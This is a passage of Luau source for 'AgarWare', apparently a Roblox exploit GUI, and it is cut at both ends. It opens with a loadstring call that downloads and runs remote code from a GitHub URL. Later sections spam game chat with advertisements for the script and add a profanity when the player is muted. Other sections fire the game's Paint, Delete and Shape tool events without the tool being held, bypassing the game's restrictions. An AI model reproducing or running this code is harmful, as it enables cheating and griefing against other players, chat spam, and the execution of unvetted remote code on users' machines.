loadstring(game:HttpGet("https://raw.githubusercontent.com/agarv69/UNIVERSAL-SCRIPT-BY-AGARV/refs/heads/main/MonkeyGang"))() end) if success then FFButton.Text = "SUCCESSFULLY EXECUTED" task.wait(3) FFButton.Text = originalText else FFButton.Text = "FAILED TO EXECUTE" task.wait(3) FFButton.Text = originalText end end) end) ------------------------------------------------ -- CLEANUP ------------------------------------------------ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_174); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdScript local function C_178() local script = G2L["178"]; -- LagMinimizeScript (inside LagGroup) local LagGroup = script.Parent local LagMinimize = LagGroup.LagTitle.LagMinimize local function getRows() local rows = {} for _, child in ipairs(LagGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = LagGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) LagMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then LagGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end LagMinimize.Text = "+" else LagGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end LagMinimize.Text = "-" end end) end; task.spawn(C_178); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow.SpamAdvertScript local function C_17e() local script = G2L["17e"]; local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local LocalPlayer = Players.LocalPlayer local SpamAdvertRow = script.Parent local SpamAdvertButton = SpamAdvertRow:WaitForChild("SpamAdvertButton") local messages = { "🚨AGAR WARE MIGHT JUST BE THE BEST SCRIPT EVER?", "🚨HAVE YOU HEARD ABOUT THIS NEW META SCRIPT?", "🚨WOW I DIDNT EXPECT AGAR WARE TO BE THIS GOOD!", "🚨AGAR WARE PROTECTED MY BUILDS FROM GRIEFS!", "🚨I LOVE THIS NEW SCRIPT, AGAR WARE!", "🚨WOW AGAR WARE IS ALSO KEYLESS AND MOBILE FRIENDLY?", "🚨AGAR WARE HAS SUCH GOOD UI!", "🚨ITS EVEN OPEN SOURCE!", } local function isMuted() local char = LocalPlayer.Character if not char then return false end local tiempo = char:FindFirstChild("Tiempo") if not tiempo then return false end local text1 = tiempo:FindFirstChild("Text1") if not text1 then return false end return string.find(text1.Text, "🤐") ~= nil end local function sendChat(message) pcall(function() local channels = TextChatService:WaitForChild("TextChannels", 2) if channels then local general = channels:FindFirstChild("RBXGeneral") if general then general:SendAsync(message) return end end local chatEvents = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents", 2) if chatEvents then local sayMessage = chatEvents:WaitForChild("SayMessageRequest", 2) if sayMessage then sayMessage:FireServer(message, "All") end end end) end local isActive = false local spamTask = nil local originalText = "Spam Adver Agar Ware" local function shuffled(t) local copy = {table.unpack(t)} for i = #copy, 2, -1 do local j = math.random(1, i) copy[i], copy[j] = copy[j], copy[i] end return copy end local function startSpam() isActive = true SpamAdvertButton.Text = "Stop" spamTask = task.spawn(function() while isActive do local shuffledMessages = shuffled(messages) for _, msg in ipairs(shuffledMessages) do if not isActive then break end local finalMsg = isMuted() and (msg .. " SHIT") or msg sendChat(finalMsg) task.wait(15) end end end) end local function stopSpam() isActive = false SpamAdvertButton.Text = originalText if spamTask then task.cancel(spamTask) spamTask = nil end end SpamAdvertButton.MouseButton1Click:Connect(function() if isActive then stopSpam() else startSpam() end end) end; task.spawn(C_17e); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow.PPBoomboxScript local function C_181() local script = G2L["181"]; script.Parent.PPBoomboxButton.MouseButton1Click:Connect(function() local Player = game.Players.LocalPlayer local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:WaitForChild("Humanoid") Humanoid:UnequipTools() -- Find all boomboxes and store original grips local boomboxes = {} local originalGrips = {} for _, item in pairs(Player.Backpack:GetChildren()) do if item.Name == "SuperFlyGoldBoombox" and item:IsA("Tool") then table.insert(boomboxes, item) originalGrips[item] = item.Grip -- Save original grip end end -- Position boomboxes FIRST (before equipping) for i, tool in pairs(boomboxes) do if tool:FindFirstChild("Handle") then if i == 1 then -- First boombox tool.Grip = CFrame.new(1.5, 0.25, 1.4) * CFrame.Angles(math.rad(90), 0, 0) print("✅ Boombox 1 position set at (1.5, 0.25, 1.4)") elseif i == 2 then -- Second boombox tool.Grip = CFrame.new(1.5, 1.3, 1.4) * CFrame.Angles(math.rad(90), math.rad(90), 0) print("✅ Boombox 2 position set at (1.5, 1.3, 1.4)") else -- Third boombox and onwards (X increases by 2.5 each time) local xPos = 1.5 + (2.5 * (i - 2)) tool.Grip = CFrame.new(xPos, 1.3, 1.4) * CFrame.Angles(math.rad(90), math.rad(90), 0) print("✅ Boombox "..i.." position set at ("..xPos..", 1.3, 1.4)") end end end -- THEN equip all boomboxes for _, tool in pairs(boomboxes) do tool.Parent = Character end -- Reset grips when tools are unequipped for _, tool in pairs(boomboxes) do tool.Unequipped:Connect(function() if originalGrips[tool] then tool.Grip = originalGrips[tool] end end) end print("✅ All boomboxes equipped with positions!") end) end; task.spawn(C_181); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow.PPBkitScript local function C_184() local script = G2L["184"]; script.Parent.PPBkitButton.MouseButton1Click:Connect(function() local Player = game.Players.LocalPlayer local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:WaitForChild("Humanoid") Humanoid:UnequipTools() -- Find all bkit tools IN ORDER local bkitTools = {} local toolNames = {"Build", "Delete", "Paint", "Shape", "Shovel", "Sign"} local originalGrips = {} -- Loop through toolNames order to keep them matched for _, toolName in pairs(toolNames) do for _, item in pairs(Player.Backpack:GetChildren()) do if item.Name == toolName and item:IsA("Tool") then table.insert(bkitTools, item) originalGrips[item] = item.Grip -- Save original grip break -- Only add one of each tool end end end -- Position bkit tools FIRST (before equipping) local positions = { CFrame.new(2.2, 1.7, -0.7) * CFrame.Angles(0, 0, 0), -- Build CFrame.new(0.7, 1.7, -0.7) * CFrame.Angles(0, 0, 0), -- Delete CFrame.new(2.10, 1.45, 1.30) * CFrame.Angles(math.rad(90), math.rad(90), 0), -- Paint CFrame.new(1.45, 1.3, 1.2) * CFrame.Angles(0, 0, 0), -- Shape CFrame.new(1.45, 1.8, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)), -- Shovel CFrame.new(-1.45, -0.2, 1.2) * CFrame.Angles(math.rad(270), 0, math.rad(180)) -- Sign } for i, tool in pairs(bkitTools) do if tool:FindFirstChild("Handle") and positions[i] then tool.Grip = positions[i] print("✅ "..tool.Name.." position set!") end end -- THEN equip all bkit tools for _, tool in pairs(bkitTools) do tool.Parent = Character end -- Reset grips when tools are unequipped for _, tool in pairs(bkitTools) do tool.Unequipped:Connect(function() if originalGrips[tool] then tool.Grip = originalGrips[tool] end end) end print("✅ Bkit tools equipped with positions!") end) end; task.spawn(C_184); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassScript local function C_189() local script = G2L["189"]; -- BypassScript (inside BypassGroup) local BypassGroup = script.Parent local BypassMinimize = BypassGroup.BypassTitle.BypassMinimize local function getRows() local rows = {} for _, child in ipairs(BypassGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = BypassGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) BypassMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then BypassGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end BypassMinimize.Text = "+" else BypassGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end BypassMinimize.Text = "-" end end) end; task.spawn(C_189); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassToolTip local function C_18a() local script = G2L["18a"]; -- ============================================================ -- BYPASS TICKBOX TOOLTIP SCRIPT -- Tooltips for tool bypass tickboxes -- ============================================================ local Group = script.Parent -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND TICKBOXES -- ============================================================ local function findDescendant(name) for _, v in pairs(ScreenGui:GetDescendants()) do if v.Name == name then return v end end end local PaintBypassTickBox = findDescendant("PaintBypassTickBox") local DeleteBypassTickBox = findDescendant("DeleteBypassTickBox") local BuildBypassTickBox = findDescendant("BuildBypassTickBox") local ShapeBypassTickBox = findDescendant("ShapeBypassTickBox") local SignBypassTickBox = findDescendant("SignBypassTickBox") local ShovelBypassTickBox = findDescendant("ShovelBypassTickBox") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIPS -- ============================================================ local paintTooltip = makeTooltip("Allows you to use Paint without holding it.") local deleteTooltip = makeTooltip("Allows you to use Delete without holding it.") local buildTooltip = makeTooltip("Allows you to use Build without holding it.") local shapeTooltip = makeTooltip("Allows you to use Shape without holding it.") local signTooltip = makeTooltip("Allows you to use Sign without holding it.") local shovelTooltip = makeTooltip("Allows you to use Shovel without holding it.") -- ============================================================ -- HOOK THEM -- ============================================================ hookTooltip(PaintBypassTickBox, paintTooltip) hookTooltip(DeleteBypassTickBox, deleteTooltip) hookTooltip(BuildBypassTickBox, buildTooltip) hookTooltip(ShapeBypassTickBox, shapeTooltip) hookTooltip(SignBypassTickBox, signTooltip) hookTooltip(ShovelBypassTickBox, shovelTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then paintTooltip:Destroy() deleteTooltip:Destroy() buildTooltip:Destroy() shapeTooltip:Destroy() signTooltip:Destroy() shovelTooltip:Destroy() end end) end; task.spawn(C_18a); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassScript local function C_190() local script = G2L["190"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local PaintBypassRow = script.Parent local BypassGroup = PaintBypassRow.Parent local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor") local PaintBypassTickBox = PaintBypassRow:WaitForChild("PaintBypassTickBox") local PaintBypassText = PaintBypassRow:WaitForChild("PaintBypassText") -- Find the Range Bypass value local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup") local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled") local isEnabled = false local mouseConn = nil local backpackConn = nil local charConn = nil local lastClickTime = 0 local clickCount = 0 local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no painting local NORMAL_TEXT = "Paint" local NOT_FOUND_TEXT = "Tool not found" local function updateVisual() if isEnabled then PaintBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3 else PaintBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end updateVisual() local mouse = LocalPlayer:GetMouse() local function disable() if mouseConn then mouseConn:Disconnect(); mouseConn = nil end if backpackConn then backpackConn:Disconnect(); backpackConn = nil end if charConn then charConn:Disconnect(); charConn = nil end local paintUI = LocalPlayer.PlayerGui:FindFirstChild("Paint") if paintUI then paintUI.Enabled = false end print("[PaintBypass] OFF") end local function hasPaintTool() return LocalPlayer.Backpack:FindFirstChild("Paint") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint")) end -- INSTANT re-equip and unequip function (keeps UI visible) local function refreshPaintTool() local paintTool = hasPaintTool() if not paintTool then print("[PaintBypass] Paint tool not found, cannot refresh") return false end local paintUI = LocalPlayer.PlayerGui:FindFirstChild("Paint") if not paintUI then print("[PaintBypass] Paint UI not found, cannot refresh") return false end -- Store currently equipped tool to re-equip it after local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool") -- Move to backpack if it's in character if paintTool.Parent == LocalPlayer.Character then paintTool.Parent = LocalPlayer.Backpack task.wait() end -- Equip paint tool instantly if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(paintTool) -- Use RenderStepped to unequip on the very next frame (invisible to player) game:GetService("RunService").RenderStepped:Wait() -- Enable UI BEFORE unequipping paintUI.Enabled = true -- Unequip immediately if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:UnequipTools() end -- Wait a tiny bit and force UI to stay enabled task.wait(0.05) paintUI.Enabled = true -- Re-equip previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(previousTool) end end print("[PaintBypass] Tool refreshed (invisible, UI kept)") return true end return false end local function enable() local paintUI = LocalPlayer.PlayerGui:FindFirstChild("Paint") if not paintUI then print("[PaintBypass] Paint UI not found") isEnabled = false updateVisual() return end local paintTool = hasPaintTool() if not paintTool then print("[PaintBypass] Paint tool not found in backpack or character") isEnabled = false updateVisual() return end local paintEvent = paintTool:FindFirstChild("Script") and paintTool.Script:FindFirstChild("Event") if not paintEvent then print("[PaintBypass] Paint event not found") isEnabled = false updateVisual() return end -- Initial refresh (instant and invisible) refreshPaintTool() if mouseConn then mouseConn:Disconnect() end mouseConn = mouse.Button1Down:Connect(function() if not isEnabled then return end local target = mouse.Target if target and not paintUI.PickerUI.Visible then local currentTime = tick() -- Track clicks to detect if painting is not working if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds clickCount = clickCount + 1 else clickCount = 1 end lastClickTime = currentTime -- If we've clicked rapidly many times, assume the tool needs refresh if clickCount >= AUTO_REFRESH_THRESHOLD then print("[PaintBypass] Auto-refresh triggered (tool may have stopped working)") refreshPaintTool() clickCount = 0 -- Reset counter end -- Check if Range Bypass is enabled local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value local inRange = true if inRange then -- Re-find the paint tool and event in case it changed local currentPaintTool = hasPaintTool() if currentPaintTool then local currentEvent = currentPaintTool:FindFirstChild("Script") and currentPaintTool.Script:FindFirstChild("Event") local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Paint") if currentEvent and currentUI then currentEvent:FireServer( target, mouse.TargetSurface, mouse.Hit.Position, currentUI.Button.Text, currentUI.Color.Value.BackgroundColor3, currentUI.Mater.Value.Text, currentUI.MaterUI.Spray.Input.Text ) else print("[PaintBypass] Event or UI lost, refreshing...") refreshPaintTool() end end end end end) -- Watch backpack for paint tool removal if backpackConn then backpackConn:Disconnect() end backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child) if child.Name == "Paint" then task.wait(0.2) if not hasPaintTool() then print("[PaintBypass] Paint tool removed, auto disabled") isEnabled = false updateVisual() disable() end end end) -- Watch character for paint tool removal if charConn then charConn:Disconnect() end if LocalPlayer.Character then charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child) if child.Name == "Paint" then task.wait(0.2) if not hasPaintTool() then print("[PaintBypass] Paint tool removed from character, auto disabled") isEnabled = false updateVisual() disable() end end end) end print("[PaintBypass] ON") end -------------------------------------------------- -- TOGGLE -------------------------------------------------- PaintBypassTickBox.MouseButton1Down:Connect(function() -- Check if tool exists when clicking if not hasPaintTool() then PaintBypassText.Text = NOT_FOUND_TEXT end end) PaintBypassTickBox.MouseButton1Up:Connect(function() -- Reset text when releasing PaintBypassText.Text = NORMAL_TEXT end) PaintBypassTickBox.MouseButton1Click:Connect(function() -- Only toggle if tool exists if not hasPaintTool() then print("[PaintBypass] Cannot enable - Paint tool not found") return end isEnabled = not isEnabled updateVisual() if isEnabled then enable() else disable() end end) -------------------------------------------------- -- CLEANUP -------------------------------------------------- script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disable() end end) end; task.spawn(C_190); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassScript local function C_194() local script = G2L["194"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local DeleteBypassRow = script.Parent local BypassGroup = DeleteBypassRow.Parent local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor") local DeleteBypassTickBox = DeleteBypassRow:WaitForChild("DeleteBypassTickBox") local DeleteBypassText = DeleteBypassRow:WaitForChild("DeleteBypassText") -- Find the Range Bypass value local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup") local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled") local isEnabled = false local mouseConn = nil local backpackConn = nil local charConn = nil local lastClickTime = 0 local clickCount = 0 local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no deletion local NORMAL_TEXT = "Delete" local NOT_FOUND_TEXT = "Tool not found" local function updateVisual() if isEnabled then DeleteBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3 else DeleteBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end updateVisual() local mouse = LocalPlayer:GetMouse() local function disable() if mouseConn then mouseConn:Disconnect(); mouseConn = nil end if backpackConn then backpackConn:Disconnect(); backpackConn = nil end if charConn then charConn:Disconnect(); charConn = nil end print("[DeleteBypass] OFF") end local function hasDeleteTool() return LocalPlayer.Backpack:FindFirstChild("Delete") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Delete")) end -- INSTANT re-equip and unequip function local function refreshDeleteTool() local deleteTool = hasDeleteTool() if not deleteTool then print("[DeleteBypass] Delete tool not found, cannot refresh") return false end -- Store currently equipped tool to re-equip it after local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool") -- Move to backpack if it's in character if deleteTool.Parent == LocalPlayer.Character then deleteTool.Parent = LocalPlayer.Backpack task.wait() end -- Equip delete tool instantly if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(deleteTool) -- Use RenderStepped to unequip on the very next frame (invisible to player) game:GetService("RunService").RenderStepped:Wait() -- Unequip immediately if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:UnequipTools() end -- Re-equip previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then task.wait() if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(previousTool) end end print("[DeleteBypass] Tool refreshed (invisible)") return true end return false end local function enable() local deleteTool = hasDeleteTool() if not deleteTool then print("[DeleteBypass] Delete tool not found in backpack or character") isEnabled = false updateVisual() return end local deleteEvent = deleteTool:FindFirstChild("Script") and deleteTool.Script:FindFirstChild("Event") if not deleteEvent then print("[DeleteBypass] Delete event not found") isEnabled = false updateVisual() return end -- Initial refresh refreshDeleteTool() if mouseConn then mouseConn:Disconnect() end mouseConn = mouse.Button1Down:Connect(function() if not isEnabled then return end local target = mouse.Target -- Only delete if target is a "Brick" if target and target.Name == "Brick" then local currentTime = tick() -- Track clicks to detect if deletion is not working if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds clickCount = clickCount + 1 else clickCount = 1 end lastClickTime = currentTime -- If we've clicked rapidly many times, assume the tool needs refresh if clickCount >= AUTO_REFRESH_THRESHOLD then print("[DeleteBypass] Auto-refresh triggered (tool may have stopped working)") refreshDeleteTool() clickCount = 0 -- Reset counter end -- Check if Range Bypass is enabled local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value local inRange = true if inRange then -- Re-find the delete tool and event in case it changed local currentDeleteTool = hasDeleteTool() if currentDeleteTool then local currentEvent = currentDeleteTool:FindFirstChild("Script") and currentDeleteTool.Script:FindFirstChild("Event") if currentEvent then currentEvent:FireServer(target, mouse.Hit.Position) else print("[DeleteBypass] Event lost, refreshing...") refreshDeleteTool() end end end end end) -- Watch backpack for delete tool removal if backpackConn then backpackConn:Disconnect() end backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child) if child.Name == "Delete" then task.wait(0.2) if not hasDeleteTool() then print("[DeleteBypass] Delete tool removed, auto disabled") isEnabled = false updateVisual() disable() end end end) -- Watch character for delete tool removal if charConn then charConn:Disconnect() end if LocalPlayer.Character then charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child) if child.Name == "Delete" then task.wait(0.2) if not hasDeleteTool() then print("[DeleteBypass] Delete tool removed from character, auto disabled") isEnabled = false updateVisual() disable() end end end) end print("[DeleteBypass] ON") end -------------------------------------------------- -- TOGGLE -------------------------------------------------- DeleteBypassTickBox.MouseButton1Down:Connect(function() -- Check if tool exists when clicking if not hasDeleteTool() then DeleteBypassText.Text = NOT_FOUND_TEXT end end) DeleteBypassTickBox.MouseButton1Up:Connect(function() -- Reset text when releasing DeleteBypassText.Text = NORMAL_TEXT end) DeleteBypassTickBox.MouseButton1Click:Connect(function() -- Only toggle if tool exists if not hasDeleteTool() then print("[DeleteBypass] Cannot enable - Delete tool not found") return end isEnabled = not isEnabled updateVisual() if isEnabled then enable() else disable() end end) -------------------------------------------------- -- CLEANUP -------------------------------------------------- script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disable() end end) end; task.spawn(C_194); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassScript local function C_198() local script = G2L["198"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local ShapeBypassRow = script.Parent local BypassGroup = ShapeBypassRow.Parent local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor") local ShapeBypassTickBox = ShapeBypassRow:WaitForChild("ShapeBypassTickBox") local ShapeBypassText = ShapeBypassRow:WaitForChild("ShapeBypassText") -- Find the Range Bypass value local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup") local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled") local isEnabled = false local mouseConn = nil local backpackConn = nil local charConn = nil local lastClickTime = 0 local clickCount = 0 local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no shaping local NORMAL_TEXT = "Shape" local NOT_FOUND_TEXT = "Tool not found" local function updateVisual() if isEnabled then ShapeBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3 else ShapeBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end updateVisual() local mouse = LocalPlayer:GetMouse() local function disable() if mouseConn then mouseConn:Disconnect(); mouseConn = nil end if backpackConn then backpackConn:Disconnect(); backpackConn = nil end if charConn then charConn:Disconnect(); charConn = nil end local shapeUI = LocalPlayer.PlayerGui:FindFirstChild("Shape") if shapeUI then shapeUI.Enabled = false end print("[ShapeBypass] OFF") end local function hasShapeTool() return LocalPlayer.Backpack:FindFirstChild("Shape") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shape")) end -- INSTANT re-equip and unequip function (keeps UI visible) local function refreshShapeTool() local shapeTool = hasShapeTool() if not shapeTool then print("[ShapeBypass] Shape tool not found, cannot refresh") return false end local shapeUI = LocalPlayer.PlayerGui:FindFirstChild("Shape") if not shapeUI then print("[ShapeBypass] Shape UI not found, cannot refresh") return false end -- Store currently equipped tool to re-equip it after local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool") -- Move to backpack if it's in character if shapeTool.Parent == LocalPlayer.Character then shapeTool.Parent = LocalPlayer.Backpack task.wait() end -- Equip shape tool instantly if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(shapeTool) -- Use RenderStepped to unequip on the very next frame (invisible to player) game:GetService("RunService").RenderStepped:Wait() -- Enable UI BEFORE unequipping shapeUI.Enabled = true -- Unequip immediately if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:UnequipTools() end -- Wait a tiny bit and force UI to stay enabled task.wait(0.05) shapeUI.Enabled = true -- Re-equip previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(previousTool) end end print("[ShapeBypass] Tool refreshed (invisible, UI kept)") return true end return false end local function enable() local shapeUI = LocalPlayer.PlayerGui:FindFirstChild("Shape") if not shapeUI then print("[ShapeBypass] Shape UI not found") isEnabled = false updateVisual() return end local shapeTool = hasShapeTool() if not shapeTool then print("[ShapeBypass] Shape tool not found in backpack or character") isEnabled = false updateVisual() return end local shapeEvent = shapeTool:FindFirstChild("Script") and shapeTool.Script:FindFirstChild("Event") if not shapeEvent then print("[ShapeBypass] Shape event not found") isEnabled = false updateVisual() return end -- Initial refresh (instant and invisible) refreshShapeTool() if mouseConn then mouseConn:Disconnect() end mouseConn = mouse.Button1Down:Connect(function() if not isEnabled then return end local target = mouse.Target -- Only works on "Brick" objects if target and target.Name == "Brick" then local currentTime = tick() -- Track clicks to detect if shaping is not working if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds clickCount = clickCount + 1 else clickCount = 1 end lastClickTime = currentTime -- If we've clicked rapidly many times, assume the tool needs refresh if clickCount >= AUTO_REFRESH_THRESHOLD then print("[ShapeBypass] Auto-refresh triggered (tool may have stopped working)") refreshShapeTool() clickCount = 0 -- Reset counter end -- Check if Range Bypass is enabled local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value local inRange = true if inRange then -- Re-find the shape tool and event in case it changed local currentShapeTool = hasShapeTool() if currentShapeTool then local currentEvent = currentShapeTool:FindFirstChild("Script") and currentShapeTool.Script:FindFirstChild("Event") local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Shape") if currentEvent and currentUI then currentEvent:FireServer( target, mouse.TargetSurface, mouse.Hit.Position, currentUI.Button.Text ) else print("[ShapeBypass] Event or UI lost, refreshing...") refreshShapeTool() end end end end end) -- Watch backpack for shape tool removal if backpackConn then backpackConn:Disconnect() end backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child) if child.Name == "Shape" then task.wait(0.2) if not hasShapeTool() then print("[ShapeBypass] Shape tool removed, auto disabled") isEnabled = false updateVisual() disable() end end end) -- Watch character for shape tool removal if charConn then charConn:Disconnect() end if LocalPlayer.Character then charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child) if child.Name == "Shape" then task.wait(0.2) if not hasShapeTool() then print("[ShapeBypass] Shape tool removed from character, auto disabled") isEnabled = false updateVisual() disable() end end end) end print("[ShapeBypass] ON") end -------------------------------------------------- -- TOGGLE -------------------------------------------------- ShapeBypassTickBox.MouseButton1Down:Connect(function() -- Check if tool exists when clicking if not hasShapeTool() then ShapeBypassText.Text = NOT_FOUND_TEXT end end) ShapeBypassTickBox.MouseButton1Up:Connect(function() -- Reset text when releasing ShapeBypassText.Text = NORMAL_TEXT end) ShapeBypassTickBox.MouseButton1Click:Connect(function() -- Only toggle if tool exists if not hasShapeTool() then print("[ShapeBypass] Cannot enable - Shape tool not found") return end isEnabled = not isEnabled updateVisual() if isEnabled then enable() else disable() end end) -------------------------------------------------- -- CLEANUP -------------------------------------------------- script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disable() end end) end; task.spawn(C_198); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassScript local function C_19c() local script = G2L["19c"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local ShovelBypassRow = script.Parent local BypassGroup = ShovelBypassRow.Parent local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor") local ShovelBypassTickBox = ShovelBypassRow:WaitForChild("ShovelBypassTickBox") local ShovelBypassText = ShovelBypassRow:WaitForChild("ShovelBypassText") -- Find the Range Bypass value local BkitGroup = 